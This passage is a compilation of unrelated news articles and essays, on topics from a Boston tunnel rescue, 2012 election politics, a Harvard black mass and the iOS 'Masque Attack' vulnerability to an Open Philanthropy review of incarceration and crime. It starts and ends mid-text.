different boxes, and attempting to convince the public that these reflect illness processes, as with flu or cancer, we must shift our focus to one that validates the lived experience of people who are suffering, however they choose to understand their pain.  Some will choose to conceptualise their distress as an illness, others as a result of trauma, others yet as an embodied response to the mixed messages that are rife in society about who and how we are supposed to be. Our guiding principle should not be whether such forms of accounting are true or false, but whether they are useful for any given individual at any given moment. Acceptance, after all – is the great friend of good mental health just as writing over one another’s truth is the great enemy.
-A Somerville man was arrested for trespassing Monday night after becoming trapped within the walls of the Ted Williams Tunnel, according to Massachusetts State Police. Daniel J. Kelly, 27, was rescued after he called 911 saying he couldn’t find his way out of an underground storm drain.  According to a state police statement, Kelly apparently had no idea where in the Boston tunnel system he was and could not find an exit. Around 9:20 p.m., State Troopers slowly meandered underground ramps with cruiser sirens blaring until Kelly told a dispatcher he could hear them.  After 20 minutes of searching and taking turns sounding sirens to determine Kelly’s exact location, police say they found him inside a wall of the Ted Williams Tunnel’s D ramp, which connects the Massachusetts Turnpike to I-93. The D ramp was shut down while troopers searched vents, doors, and ceiling openings within the tunnel network. Kelly was found sitting atop a pipe 15 feet off the ground of a vent shaft after waving his hand out of the vent’s opening.  Advertisement  Kelly was immediately arrested for trespassing and brought to the Massachusetts State Police Tunnel Barracks. He was arraigned on Tuesday and, according to Fox 25 News, said in court that he would represent himself after a judge denied his request to dismiss the charges. Fox 25 also reported that Kelly said he thinks his drink was “spiked’’ at a bar before the incident, and that he has no recollection of how he ended up in the tunnel.  Kelly is due back in court on June 10.
-In today’s Election Countdown 2012 segment: In Quebec, it’s not the fees, it’s the debt; Walker’s win smacks Wisconsin protesters who started recall; a map shows half the nation returning to past employment levels and the other half not, and more.  D – 94 and counting*  “Politics ain’t beanbag.” –Finley Peter Dunne  Reader note: In this series, there are three main tracks: (1) Occupy and Occupy-like movements (e.g., Montreal), (2) State and local actions or events, especially those to do with resource extraction (e.g., fracking), and (3) electoral politics, especially the Obama vs. Romney. Most people, when they say “politics,” mean the last track: the horse race. In fact, all three tracks are “politics,” and the first two can be empowering and even joyful. Also, too, in crises, the tracks will correlate. I’m very interested in curating reliable sourcing from on the ground for occupations and state or local news; please mail me.  Montreal. Jean Charest and his big brother, Vladimir Putin: “[A minority of] Russia’s lawmakers … fought hard and long against a bill that would impose huge fines on protesters” (like Bill 78 in Qeubec; here, here, here). June 6 is casserole night. “Amir Khadir, the sole member of Quebec solidaire in the legislature, was among dozens of people rounded up in Quebec City during a night time march.” “Anarchopanda is taking his fight against Montreal’s controversial anti-mask bylaw from the streets to the courtroom.” Anarchopanda: “The panda costume allows me to do things that I couldn’t do otherwise, like hug police officers.” Anarchopanda’s lawyer: “The [anti-mask] bylaw is just really unclear to begin with. [You’re] forcing everyone to justify why they’re wearing a mask even if they have no criminal intent.” Charest’s trap: “Charest is preparing to use the same ploy [as Trudeau on Saint-Jean-Baptiste Day in ’68; provoking violence]. He refuses to come to an agreement with student leaders on tuition fees despite a 13-week strike. Law 78 has instigated a social crisis. The noise of casseroles has become a daily one. All he needs now is a riot to call voters to the polls in a re-election attempt just before the findings of the Charbonneau commission on corruption in the construction industry are revealed. Students know to avoid the trap, but how can troublemakers be prevented from taking the bait?” Education Minister Michelle Couchesne: “There are no negotiations planned. No. Absolutely not.”  It’s not the fees, it’s the debt: “Students today graduate from post secondary education with more debt (inflation adjusted) than the generations before did. … This debt is exempt from all bankruptcy laws. I could borrow 50 thousand dollars to start a business bedazzling jean jackets tomorrow and if it didn’t work out be free and clear of that debt in seven years, but if I wanted to be a scientist and things didn’t work out I’d be stuck with that liability for the rest of my life. This makes education literally the riskiest investment a person can make.” “I know some of you are scared. You have every reason to be. But we cannot let that fear win. If the fear of the police keeps us at home, they have already beaten us. Be peaceful, be joyous, be loving. Stand together and be strong. They cannot arrest us all. There is strength in numbers, and there is strength in each other.”  Occupy. Occupy Albany: Adopts “red patch” as logo: “It comes from the French phrase “carrement dans le rouge”, [FB] or “squarely in the red,” referring to those crushed by debt.” Occupy Riverdale: “[Riverdale Mobile Home Community] is the site of the proposed construction of a water withdrawal site for frack operations in the Jersey Shore/Williamsport region–one of the current epicenters of the fracking universe. Aqua America/PVR bought the land from the landowner in the early Spring, and thereby commenced the evictions of the park’s residents.” Occupy Homes: “‘The neighbors have a concern. They don’t want their neighborhood to be a staging ground for protests,’ says [D Minneapolis Mayor R.T.] Rybak. Many houses dotting the area around the Cruz home have the signature red sign that reads, ‘STOP FORECLOSURES, STOP EVICTIONS.’ Many neighbors support the Cruz’s and their efforts to stay in the house.”  Colorado. “There are currently 22 central [evaporation ponds for oil and gas drilling] in CO, and officials say they aren’t sure which chemicals are being stored.” Tinpot Tyrant Watch: “Police in Aurora, CO., searching for suspected bank robbers stopped every car at an intersection, handcuffed all the adults and searched the cars.”  Florida. “Although [Friends of the Everglades] was briefed on the broad outline of a plan to reduce pollution by phosphorous in the Everglades to acceptable levels, including promises of money from the State of Florida, Friends of the Everglades has yet to see details.”  Iowa. “An Iowa State University scientist found evidence that sick hens at farms owned by an Iowa egg producer were ‘almost certainly’ laying eggs contaminated with salmonella months before one of the nation’s largest outbreaks of food-borne illness came to light, newly released records show.” “Iowa City forms new plan of attack for landfill fire” which should have been out this week (TTH).  Michigan. Why don’t Detroit journos write about Cotter’s fraudulent ballot qualifying signatures from the district perspective?  North Carolina. “[Charlotte] released a protest route Monday that is clear of where President Barack Obama is scheduled to speak at Bank of America Stadium but comes within two blocks of the main convention site at Time Warner Arena.”  New York. “My senior prom date had a gas well on her farm, about 100 yards across the road. … So yes, let’s pay the extractive industry folks a lot less by using less of what they’re selling. We also need to accept that it’s going to take a while…” “Banking on the long-term prospects of shale development in NY, a PA drilling company has purchased mineral rights to 160,000 acres in the Finger Lakes region from Chesapeake Energy.”  Ohio. “OH law requires political parties to include a disclaimer when posting information on the internet in support or opposition to a candidate or issue. A new website [here] from the OH Republican Party … lacks any type of disclaimer.”  Pennsylvania. “John Perzel, an R from Philadelphia and Bill Deweese, a D from Greene, share the distinction of both having served as Speaker of the Pennsylvania State House. … Now they’re both at Camp Hill state prison, and they’re sharing the same cell.” Sweet!  Wisconsin. Pierce: “What we have here is a fight, out in the open, without nuance or euphemism, between two ideas of what self-government should look like, who it should serve, and how, and how wide the parameters of participation will be. That is serious business. It ought to be contested fiercely and to the last and without cosmetic conciliation.” Reuters head: “Walker’s win smacks Wisconsin protesters who started recall.” “[I]t’s worth pondering how similar the intensity of emotions are on each side of the divide. That anger won’t be relieved after Tuesday.” Chuck Todd: “Most important result from the exit poll: the 60% who said recalls are ONLY appropriate for OFFICIAL misconduct.” Walker: $30M. Barrett: $3.9M. (“We did it with wealth.”) “Please, please, please, remain engaged, remain involved because we will continue to fight for justice and fairness in this city and this state.” (And we get?) Activist Colette Brown: “Recalling Walker is important, but it isn’t good to lose momentum by diverting all energy into the recall campaign to elect a Democrat” (dcblogger).  Inside Baseball. Thomas Edsall: “[W]e still are a nation of Republicans and Democrats.” HCR, Kaiser survey: “35% of non-white respondents believe [ObamaCare] will benefit their family. 14% believe they will be worse off ([and] 39% don’t think it will make much difference).” Whites: “18% believe the law will leave their family better off, compared to 38% who believe they will be worse off.” Full of win! HCR, WI voter, Pierce: “The problem is that, when you start handing out free health care out to teachers, that annoys me to no end. I never got free health care. My brother’s wife is a teacher and I once asked her, when I was getting my teeth worked on, what it cost her and she said, ‘Nothing.’ It should never get to that point where somebody’s getting free health care. Something’s way out of whack there.” Horse race teebee ad money: 60% in FL, VA, and OH. Top 10, largest first: FL, VA, OH, NC, CO, IA, PA, NV, NH, and MI. NSF poli sci funding: “[T]he issue isn’t whether there would be social science funding. There would be. The question is whether, given the agendas of its private funders, the research would be as publicly valuable. I do not think so.” “In Fast & Furious, Phoenix-based ATF agents used watch-and-wait tactics on cartel-linked gun purchasers and lost track of over 2,000 weapons… Two of those weapons were recovered … at the murder site of Border Patrol agent Brian Terry.” Oopsie. Atlantic’s secrets for success: “Hire smart people who aren’t jerks.” OK, explain Megan McArdle.  Robama vs. Obomney Watch. Clinton: “[Romney] would be in my opinion calamitous for our country and the world.” Romney “adopted Europe‘s economic policies.” Romney: “[W]e’re so close to economic calamity. We see what’s happening in Europe and we’re following them.” On the same day! (Everythings Jake) Romney: “What he’s very good at is finding other people to blame.” Obama blames “his predecessor, the Congress, the one percent, oil companies, and A.T.M.s. True! Obama surrogate Cutter: “They’re saying don’t hold Mitt Romney accountable for the first three years he was in office, because he inherited a bad economy. Yet these same people blame the president for job losses that occurred in January 2009, the very month he was inaugurated, and months before any of his policies took place.” Also true!  Jawbs. “[T]he new poll finds the number of Americans saying they have been hearing mostly bad news about jobs has spiked, from 38% in March to 55% currently.” “Most of the 15 states where the [American Petroleum Institute] has been holding its meetings will be important battlegrounds for the presidential election, and in three of them – OH, CO and PA – oil and gas are playing an increasingly important role in their economies. We haven’t seen the Republicans using it as a wedge issue, but I can see it becoming one,” Professor Sracic said. “Ohio is going to be very, very close and little things can mean a lot.” Keen map shows half the nation returning to past employment levels and the other half not. “Energy and farm states outperformed the nation, as did states near the nation’s capital.” Yes, a petro-state (farming being oil-driven).  Romney. “And according to the tipster who claims to have hacked [Romney’s email account] by guessing Romney’s favorite pet in response to a “security” questions, it’s still active today.” No, it couldn’t be. “Seamus”?! The emails are about ObamaRomneyCare, among other things.  Obama. Obama: “[Romney] has a theory of the economy that basically says, if I’m maximizing returns for my investors, for wealthy individuals like myself, then everybody’s going to be better off.” (Saw LaBolt try this riff out yesterday.) Capitalism? Did I not get the memo? And “maximizing returns” is wicked professorial. Clinton (Bill) says we’re in a recession: “[G]overnment spending levels … look high because there’s a recession.” Clinton says “no problem” with extending Bush tax cuts temporarily. Obama must want the money bad, to let Clinton wander off the reservation like this.  * 94 days ’til the Democratic National Convention feasts on poutine for all on the floor of the Bank of America Stadium, Charlotte, NC. 94 is the atomic number of Plutonium.
-Even as the Extension School Cultural Studies Club dropped its sponsorship of the event, members of the Satanic Temple held what appeared to be a black mass ceremony at the Hong Kong restaurant and lounge Monday night.  UPDATED: May 14, 2014, at 2:37 a.m.  Although the Harvard Extension School Cultural Studies Club dropped its sponsorship of a reenactment of a satanic “black mass” ritual earlier in the night, members of the New York-based Satanic Temple gathered for what appeared to be a black mass on the second floor of the Hong Kong restaurant and lounge shortly after 10 p.m. Monday.  About 50 people, mostly dressed in black and some wearing face makeup, were present for the ceremony. A consecrated host, believed by Catholics to be the body of Christ, was not used in the ritual.  Four individuals in hoods and one man in a white suit, a cape, and a horned mask were active in the proceedings, as well as a woman revealed to be wearing only lingerie. The ceremony began with a narration on the history underlying Satanism and the black mass ritual.  Advertisement  The restaurant’s owner, Paul Lee, said in a phone interview around 11 p.m. that he was unaware of the incident. The Hong Kong is located on Massachusetts Avenue, directly across the street from Harvard Yard.  The ritual came after the cancellation of a black mass reenactment organized by the Harvard Extension School Cultural Studies Club, which had the event scheduled for Monday evening in Cambridge Queen’s Head Pub in Memorial Hall. Shortly before the planned starting time, the club said that it was moving to an off-campus site, citing in an email that “misinterpretations about the nature of the event were harming perceptions about Harvard and adversely impacting the student community.”  The club wrote in its email around 5 p.m. that they planned for the event to be held at The Middle East nightclub in Central Square at 9 p.m. But Clay S. Fernald, the general manager of The Middle East, said Monday evening that the nightclub would not host the event, and that negotiations with the Harvard Extension Cultural Studies Club had fallen through.  Fernald declined to comment on why negotiations had ended.  Around 7 p.m., the Cultural Studies Club sent an email saying that they had been unable to find another location and would no longer sponsor the black mass, and individuals who intended to attend decided to migrate to the Hong Kong, at which the ceremony was revived.  Satanic Temple spokesperson Lucien Greaves said in an interview with The Crimson earlier in the afternoon that although the Cultural Studies Club cancelled the event, he still hoped to host a black mass in the future.  After learning of the event that occurred at Hong Kong, Terrence Donilon, secretary of communications for the Archdiocese of Boston, said in an interview around 11:00 p.m. that the Diocese's position is the same. He said the event is disgraceful and despicable.  The Archdiocese followed through with its plans to host a Eucharistic procession to St. Paul Church, where a “holy hour” will be conducted. Donilon said that he was grateful for the community presence at the event and the presence of University President Drew G. Faust.  CONTROVERSY AT HARVARD  The club emphasized in the 5 p.m. email that Harvard had not asked them to move the event from its previous location, the Cambridge Queen’s Head Pub in the basement of Memorial Hall, and commended the University for affirming its members’ rights to free speech and assembly.
-Image copyright Getty Images Image caption US women footballers have dominated the international game in recent decades, winning a string of titles  A judge has ruled that the world champion US women's football team does not have the right to strike.  Female players had been considering striking in an effort to address wage discrimination.  The US Soccer Federation sued the players' union to prevent a strike that could have caused the team to miss the summer Olympics.  The judge ruled the players are not eligible to strike because of a provision in an earlier contract.  In March, five players filed a lawsuit with the Equal Employment Opportunity Commission alleging pay discrimination. They argued female players were sometimes paid four times less than their male counterparts despite holding the world title.  The players' union had not called a strike over the issue, but had been weighing the possibility.  The US Soccer Federation - the sport's national governing body- filed its own suit to prevent a strike. It argued a no-strike clause from an early collective bargaining agreement carried over to the 2013 memorandum of understanding that the players are currently working under.  The union argued that a no-strike clause had never been specifically laid out in the terms of the latest agreement.  However, the judge sided with the federation citing oral and email communication between the two sides, as evidence that the original terms were passed to the new agreement.  "A collective bargaining agreement may be partly or wholly oral and a written collective bargaining agreement may be orally modified," Judge Sharon Johnson Coleman wrote in her ruling.  The team is expected to perform well at the Olympic Games in Rio and the federation said it feared a strike would damage the development of football in US.  The players, many of whom have expressed outrage at gender pay differences, will continue their wage discrimination case.
-One piece of evidence Donald Trump keeps invoking in his insistence he opposed the Iraq War from the start is an old interview he gave to Esquire, and Esquire has just about had it.  Trump invoked it yet again today and claimed the interview––in which he criticized the Iraq War––was at the start of the war. The war started in March 2003. Trump did that interview in 2004.  Here’s everything Trump had to say then about Iraq:  My life is seeing everything in terms of “How would I handle that?” Look at the war in Iraq and the mess that we’re in. I would never have handled it that way. Does anybody really believe that Iraq is going to be a wonderful democracy where people are going to run down to the voting box and gently put in their ballot and the winner is happily going to step up to lead the county? C’mon. Two minutes after we leave, there’s going to be a revolution, and the meanest, toughest, smartest, most vicious guy will take over. And he’ll have weapons of mass destruction, which Saddam didn’t have. What was the purpose of this whole thing? Hundreds and hundreds of young people killed. And what about the people coming back with no arms and legs? Not to mention the other side. All those Iraqi kids who’ve been blown to pieces. And it turns out that all of the reasons for the war were blatantly wrong. All this for nothing!  Well, Esquire has added this editor’s note to the top:  Editor’s note: The following story was published in the August 2004 issue of Esquire. During the 2016 presidential election, Donald Trump has repeatedly claimed to have been against the Iraq War from the beginning, and he has cited this story as proof. The Iraq War began in March 2003, more than a year before this story ran, thus nullifying Trump’s timeline. More details can be found here.  And Esquire‘s deputy editor said they’re doing it for one obvious reason:  Because Donald Trump won't stop lying, we've updated our 2004 story with an editor's note: https://t.co/dhHfecJkaz pic.twitter.com/6rp7da1Sod — John Hendrickson (@JohnGHendy) September 8, 2016  [featured image via Shutterstock]  — —  Follow Josh Feldman on Twitter: @feldmaniac  Have a tip we should know? tips@mediaite.com
-The owners of a luxury home in Waverley, N.S., may have to pay a former business partner hundreds of thousands of dollars over a failed bid to raise money for the Bryony House women's shelter, a judge has ruled.  Kris Martin and Maria Sancho were partners in ALPC Housing Solutions, a company they created to build low-cost housing.  The pair pitched the idea of a lottery to Bryony House as a way to pay for repairs and expansion to the shelter.  The Dare to Dream lottery was established and Kris Martin sold her own luxury home to Bryony House to serve as the top prize. She and her husband Jacques sold the home for just over $1 million. Kris Martin indicated repeatedly to ticket buyers that she was prepared to buy the home back from the eventual winner.  Ticket sales lagged far below expectations and despite extending the sales period, the lottery failed to generate much money.  Sold for over $1M, bought for $621K  In the end, a young couple from Nova Scotia won the home. And, as she had indicated previously, Martin negotiated with the couple to re-purchase the property. She and her husband closed a deal in November 2014 for $621,000, far less than what Bryony House had paid them to buy the home for the lottery.  A Supreme Court judge ruled that Kris Martin failed in her duty as an officer in ALPC Housing Solutions.  "As a director Ms. Martin owed a fiduciary duty to ALPC of loyalty, good faith, honesty and avoidance of conflict of duty and self-interest," Justice Richard Coughlan wrote in his decision.  The judge said Martin failed in that duty by not keeping her partner Sancho informed.  "I find Ms. Martin did not make full disclosure to ALPC of her discussions with the lottery winners or the proposed purchase of the Willowhill Ridge property and did not obtain consent from ALPC to purchase the property."  The judge has ordered Kris and Jacques Martin to provide a detailed accounting of what they paid for the house, plus any expenses they incurred. The difference between that amount and the $1 million dollars paid at the start of the lottery are owed to ALPC.  Kris Martin is no longer a partner in that company, which is now solely run by Maria Sancho.
-(Reuters) - Researchers have warned that a bug in Apple Inc’s (AAPL.O) iOS operating system makes most iPhones and iPads vulnerable to cyber attacks by hackers seeking access to sensitive data and control of their devices.  Apple CEO Tim Cook introduces the IOS 8 operating system during his keynote address at the Worldwide Developers Conference in San Francisco, California June 2, 2014. REUTERS/Robert Galbraith  Cybersecurity firm FireEye Inc (FEYE.O) published details about the vulnerability on its blog on Monday, saying the bug enables hackers to access devices by persuading users to install malicious applications with tainted text messages, emails and Web links.  The malicious application can then be used to replace genuine, trusted apps that were installed through Apple’s App Store, including email and banking programs, with malicious software through a technique that FireEye has dubbed “Masque Attack.”  These attacks can be used to steal banking and email login credentials or other sensitive data, according to FireEye, which is well-regarded in cybersecurity circles for its research.  “It is a very powerful vulnerability and it is easy to exploit,” FireEye Senior Staff Research Scientist Tao Wei said in an interview.  Apple’s iOS has robust security features that make it extremely difficult for attackers to install malware on devices using traditional techniques for infecting Windows machines and Android mobile devices with malicious emails and Web links. The “Masque Attack” makes that possible by exploiting a system that Apple developed to allow large organizations to deploy custom-built software without going through Apple’s App Store, according to David Richardson, iOS product manager at mobile security firm Lookout.  Those applications are not vetted by Apple for malicious software, unlike apps in its App Store, though users do receive pop-up notifications asking if they want to prevent the apps from installing on devices, he said.  “You can just say ‘Don’t install.’ As long as you do that, you will be protected from this vulnerability,” Richardson said.  FireEye disclosed the vulnerability to Apple in July and representatives of the company said they were working to fix the bug, according to Wei.  Apple could not immediately be reached for comment.  News of the vulnerability began to leak out in October on specialized Web forums where security experts and hackers alike discuss information on Apple bugs, Wei said.  He said FireEye decided to go public with its findings after Palo Alto Networks Inc (PANW.N) last week uncovered WireLurker, the first campaign to exploit the vulnerability.  “Currently WireLurker is the only one, but we will see more,” Wei said.
-Germany’s economy will probably be in a recession by elections scheduled for the end of September because monetary policy officials in the euro area aren’t providing the necessary stimulus, said billionaire investor George Soros.  “Germany itself remains relatively unaffected by the deepening depression that is enveloping the eurozone,” Soros said in a speech at the Johann Wolfgang Goethe-University in Frankfurt. “I expect, however, that by the time of the elections, Germany will also be in recession.”  European leaders are seeking to exit their debt crisis by cutting spending while the European Central Bank has stopped short of outright bond-buying programs like those in the U.K. and U.S. Germany’s exports will probably suffer from lower demand in Europe and a weaker yen as the Bank of Japan joins peers in engaging in so-called quantitative easing, Soros said.  Editor's Note: Billionaires Dump Stocks. Prepare for the Unthinkable.  “The monetary policy pursued by the eurozone is out of sync with the other major currencies,” Soros said. “The others are engaged in quantitative easing. The Bank of Japan was the last holdout, but it changed sides recently.”  The BOJ said last week it will double the monetary base by the end of 2014 through purchases of government bonds, in Japan’s biggest-ever round of asset buying.  In July, ECB President Mario Draghi declared that central bank was prepared to buy unlimited quantities of government bonds if that meant saving the euro. At the same time, his pledge is tied to conditions so stringent that no country has yet asked him to print money on its behalf and the euro region’s economy is still mired in recession.  Soros also reiterated a call for Germany to back the issuance of joint debt by European countries to lower their borrowing costs or leave the euro area.  Germany “went too far” on pushing Cyprus to impose losses on depositors as part of a rescue for the country as European banks rely on savings as a source of funding and that could undermine the banking industry, he said.  Editor's Note: Billionaires Dump Stocks. Prepare for the Unthinkable.
-House Oversight Committee Chairman Jason Chaffetz told FBI Director James Comey to investigate whether Hillary Clinton lied to Congress when she said she didn’t send or receive classified information on her secret email server.  Mr. Comey told the committee Mrs. Clinton didn’t lie to the FBI, but he hasn’t looked into whether she lied to Congress. He said he needed an official referral to do that.  “You’ll have one in the next few hours,” Mr. Chaffetz promised.  Mr. Comey was on Capitol Hill to defend his investigation into Mrs. Clinton’s use of a secret server to conduct her official business, which he said was “extremely careless,” and his conclusion that despite that, no prosecutor would pursue the case.  The FBI director — a former prosecutor himself — said the difference between Mrs. Clinton and others who have been prosecuted for mishandling classified information is that she didn’t intend to break the law.  But Mr. Comey did repeatedly expose untruthful statements Mrs. Clinton made publicly when she defended her email server. He said she did, in fact, send and receive information marked classified; she did not turn over thousands of work-related messages to the government; and her lawyers, despite her assurances to the public, did not read each message.  Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.
-Lexmark, HP Using Patent Law To Try To Block Replacement Ink Cartridges From The Market  from the there-is-no-free-market-in-black-gold dept  Want to know why it would cost $5.9 billion to fill an Olympic-sized swimming pool with printer ink? Perhaps look to our beloved US patent laws. Five years ago, we pointed out that HP was claiming that refill ink cartridges for its printers violated its patents , and that it was building up a team of scientists not to invent anything new -- but to analyze the chemical makeup of competitor's ink to see if they could hit them with a patent infringement lawsuit.Every so often, we hear another bunch of claims from HP about ink refillers infringing on its patents, and just a few weeks ago, we heard that HP was asking the US ITC to block the import of refill ink cartridges from foreign competitors, claiming patent infringement.Not to be left out, it looks like HP competitor Lexmark is getting into the game as well, and has also asked the ITC to bar the import of ink refills from 24 companies . Lexmark is also suing those same companies in court, showing once again how the ITC loophole gives companies two bites at the same apple.Of course, it's fascinating to see Lexmark jump into the patent infringement game on ink refills. After all, it famously tried and failed to use the DMCA and copyright law to stop ink refills. It was right after that when HP started using patent claims, so it looks like it took a bit of time for Lexmark to get together a patent plan.Of course, would it be nice if, rather than relying on government granted monopolies to block perfectly legitimate competition, these companies actually competed in the marketplace? Or is that too much to ask?  Filed Under: ink, patents, printers  Companies: hp, itc, lexmark
-MY MENTAL DEPARTURE FROM WATCHTOWER  My name is Cliff (‘Fifth’), 29, I am a 2nd generation Jehovah’s Witness from California, USA. In this article, I share my experience within the Watchtower organization.  I was officially disfellowshipped this year, April 2016. During that time, I began doing independent research about the organization. By June 2016 I was fully awake to the truth about ‘The Truth.’  In the following video I highlight a bit of my background as one of Jehovah’s Witnesses, the numerous ‘privileges’ that I had within the organization, and the events that led to my eventual departure, both physically and mentally.  My aim in making this video is to share my personal story in the hopes of helping others who may find themselves in a similar situation, to help them realize that they are not alone in this conflict. It is my sincere hope that this video is useful to somebody.
-Our grass-roots agitation and protest movement to get the government to stop vacillating and put more resources into the economy is reaching its final phase. Turning health, security, transport, education, fun and farming into professionally-directed profit-motivated industries has been a start, but there are a few activities which are still under erratic individual control. We’ve outlined the following demands in order to ensure progress, efficiency and growth reach their peaks:  Sex All sexual intercourse must take place in licensed and approved clinics under the supervision of properly qualified experts. No longer will sex, a primary force for social change, be left to untutored novices. For a fee partners will be guided through the necessary steps for productive intercourse, trained in proper posturing and then, upon certification, allowed to operate their procreative machinery in a safe and responsible fashion.  Conversation This unproductive, unprofitable behaviour should come under official auspices as soon as possible. Regulated ‘conversation shops’ should be allowed to operate in high streets, or, if necessary, in mobile units, in which participants can choose topics to debate and facts to exchange under supervision and guidance. Topics of conversation will be divided into various levels of sophistication, access to which will be through certification. In the event that consumers require home conversations, internet-providers and ‘take-out’ delivery services will meet demand.  Child-Rearing Dating has already entered the free-market, pornography has been a commodity since time began, and we envisage further growth in managed romantic encounters. Actual sex, as we have seen, should be integrated into the economy in a short time and professionally supervised birth has long been an economically viable activity. It only remains for the few years between parturition and responsible schooling to be regulated and opened up to market forces. The ideal means in which this will be eventuated is through the internet; successful and approved dating will lead to contributions of sperm and egg to child-rearing clinics, where rational skill-acquisition and socialisation can take place in a properly controlled environment. Parents will be able to enjoy the process on youtube.  Relationships Social life is, of course, well on its way to becoming a profitable market-concern, but we believe it hasn’t gone nearly far enough. For one, have you noticed how hard it is to find ratings on all your friends and lovers? How on earth do you know how well someone is going to perform in bed, or how trustworthy they are as a companion unless you can dial up their stats on an app? Everyone must be rated, for everything, all the time—not only to enable high ratings to be available to rent or buy, but to make sure the world behaves.  Bodily Functions The liver, heart, lungs, kidneys, bladder, bowels and glands have been interfering with productivity for too long. Their disruption of human functioning in a rational wealth-maximising society will come to an end when they are replaced with cheap, serviceable, manufactured parts. This will aid both production — as users will be able to turn off digestion, excretion and inappropriate hormonal urges during working hours; and consumption — as services such as blood processing, blood circulation, air-filtering and enzyme production will incur a fee. Consumers will either pay for each secreted hormone, synthesised protein, urination and heartbeat on a pay-as-you go basis, via installed meters, or will be sent a monthly bill for the use of their body parts.  So come demonstrate with us at the next G20 meeting, when we’ll take to the streets, and agitate for MORE ECONOMIC GROWTH! Let’s turn our DREAMS into things we can rate, copy, print and save-for-later. Let’s convert the QUIVERINGS OF THE INNERMOST into parcelled up things. Let’s make the whole UNIVERSE into something we can package up, possess and SELL!  See Belly Up! for more information on how YOU can make a difference.
-This is the first in a series of posts summarizing the Open Philanthropy review of the evidence on the impacts of incarceration on crime. The full report is available in PDF, Kindle, and ePub formats.  About when Chloe Cockburn joined Open Philanthropy to spearhead our grantmaking for criminal justice reform, I was tasked with reviewing the research on whether reducing the number of people in American jails and prisons might actually increase crime. In effect, we at Open Philanthropy asked ourselves: what if we’re wrong? What if our grantees win reforms that cut the number of people behind bars, and that pushes the crime rate up? How likely is that? And how likely is it that any increase would be large enough to overshadow the benefits of decarceration, which include taxpayer savings and expanded human freedom?  It may seem strange to launch a grantmaking program even as we question its empirical basis. But Open Philanthropy had already invested significant time in studying criminal justice reform as a cause. And practical decisions must always be made in the face of incomplete information, forcing people and organizations to exercise what Herbert Simon called “bounded rationality.” It can be boundedly rational to act on the information gathered so far, even as we gather more.  The final report reaches two major conclusions:  I estimate, that at typical policy margins in the United States today, decarceration has zero net impact on crime outside of prison. That estimate is uncertain, but at least as much evidence suggests that decarceration reduces crime as increases it. The crux of the matter is that tougher sentences hardly deter crime, and that while imprisoning people temporarily stops them from committing crime outside prison walls, it also tends to increase their criminality after release. As a result, “tough-on-crime” initiatives can reduce crime in the short run but cause offsetting harm in the long run.  Empirical social science research—or at least non-experimental social science research—should not be taken at face value. Among three dozen studies I reviewed, I obtained or reconstructed the data and code for eight. Replication and reanalysis revealed significant methodological concerns in seven and led to major reinterpretations of four. These studies endured much tougher scrutiny from me than they did from peer reviewers in order to make it into academic journals. Yet given the stakes in lives and dollars, the added scrutiny was worth it. So from the point of view of decision makers who rely on academic research, today’s peer review processes fall well short of the optimal.  The rest of this post elaborates on those conclusions.  The scale of incarceration in the U.S.  Long ago when the world was young, I followed my girlfriend to Philadelphia. Biking to work, I sometimes noticed, embedded in the drab urban fabric of asphalt and rowhouses, a massive, crenelated, slit-windowed, medieval fortress. Not till 2015, when I returned with my family, did I learn that it was the former Eastern State Penitentiary, an old prison built on the theories of a criminal justice reform movement of 200 years ago. It is a fantastic museum now: you must go. When we visited, we finished our self-guided audio tours in an interior courtyard, where inmates were once permitted to exercise. Now installed there is the Big Graph, a sculpture that puts America’s incarceration rate in historical and global perspective. This photograph of the Big Graph shows prisoners per 100,000 Americans by decade for 1900–2010:  In 1970, 196,000 people resided in American prisons, and another 161,000 in jails, which worked out to 174 inmates per 100,000 people. In 2015, 1.53 million people lived in U.S. prisons and 728,000 in jails, or 673 per 100,000. The next photo captures the side of that tall red bar, which depicts prisoners per 100,000 residents by country in 2010:  In fact, the U.S. may be #2 behind North Korea, but that country is presumably left off the Big Graph for lack of reliable data.  Experts disagree about what caused the incarcerated population to mushroom. John Pfaff of the Fordham School of Law sees a change in prosecutor behavior as key: prosecutors file more charges per arrest than they did in the 1970s. Alfred Blumstein and Allen Beck, on the other hand, assign roughly equal responsibility to increased commitments per arrests, which prosecutors would have contributed to, and lengthened prison stays. Regardless, I think there is little doubt that a “tough on crime” movement, including the “war on drugs” initiated by Richard Nixon, caused much of the expansion. Laws were passed to toughen sentences. More was spent on arresting people and keeping them in prison. For whatever reasons of principle and politics, prosecutors became more aggressive. And there was a racial dimension: the newly imprisoned were disproportionately black.  The more practical question for Open Philanthropy is not about the causes of the rise, but the consequences of a fall. Putting fewer people behind bars should expand liberty and save government money. But might it also increase crime? Or might it reduce crime, if the prison experience is itself a source of criminality?  I focus on how incarceration affects crime outside prison, and thus neglect that putting more people in prison almost certainly raises incidence of crime in. I do this for several reasons. I found no rigorous studies of how much crime the marginal prisoner (the sort of person most likely to go free if decarceration initiatives prevail) commits while in prison. Also, neglecting the potential benefit of lower in-prison crime biases my conclusion in the conservative direction: against the operating beliefs of Open Philanthropy. Finally, I think some people view crime in prison as less morally important than crime outside, part of deserved punishment. (No one said prison would be fun.) Though I disagree, to the extent that I conclude that decarceration does net good even under their moral calculus, my conclusion should be more persuasive to larger group; and progress on criminal justice reform today is possible precisely because of pragmatic coalition-building among people of diverse world views.  A good way to organize our inquiry is to start with a simple observation. Incarceration can be thought of as affecting crime before, during, and after: before, in that stiffer sentences may deter crime before it would happen; during, in that people inside prison cannot physically commit crime outside; and after, in that having been incarcerated may shift one’s chance of reoffending. The first is called “deterrence,” the second “incapacitation.” The third I call simply “aftereffects.” Conceptually, the aftereffects channel is most diverse. Prisons may rehabilitate inmates, by “scaring them straight,” or teaching them job skills, or treating their addictions. Or doing time may be criminogenic. Having been imprisoned may make it harder for people to find legal employment, may psychologically alienate them from mainstream society, and may strengthen their social bonds with criminals, all of which could raise recidivism. (Aftereffects are conventionally termed “specific deterrence,” on the idea that having been in prison strengthens deterrence: once bitten twice shy. But I think it’s better to approach the evidence with theory-neutral terminology.)  In reviewing studies that study one or more of these channels from incarceration to crime, I restricted myself to potentially high-credibility studies: ones that exploit randomized experiments, or else “quasi-experiments” that arise incidentally from the machinations of the criminal justice system. And I put special weight on the eight studies whose data and computer code I could touch with my own hands, as it were. As I mentioned, my replication and reanalysis of these studies led me to revise my readings of some. (Section 3.3 of the full report describes my search for data and code.)  On the basis of the evidence, gathered, checked, and distilled, here is my reasoning that decarceration in the United States today is unlikely to increase crime:  In short, it seems, 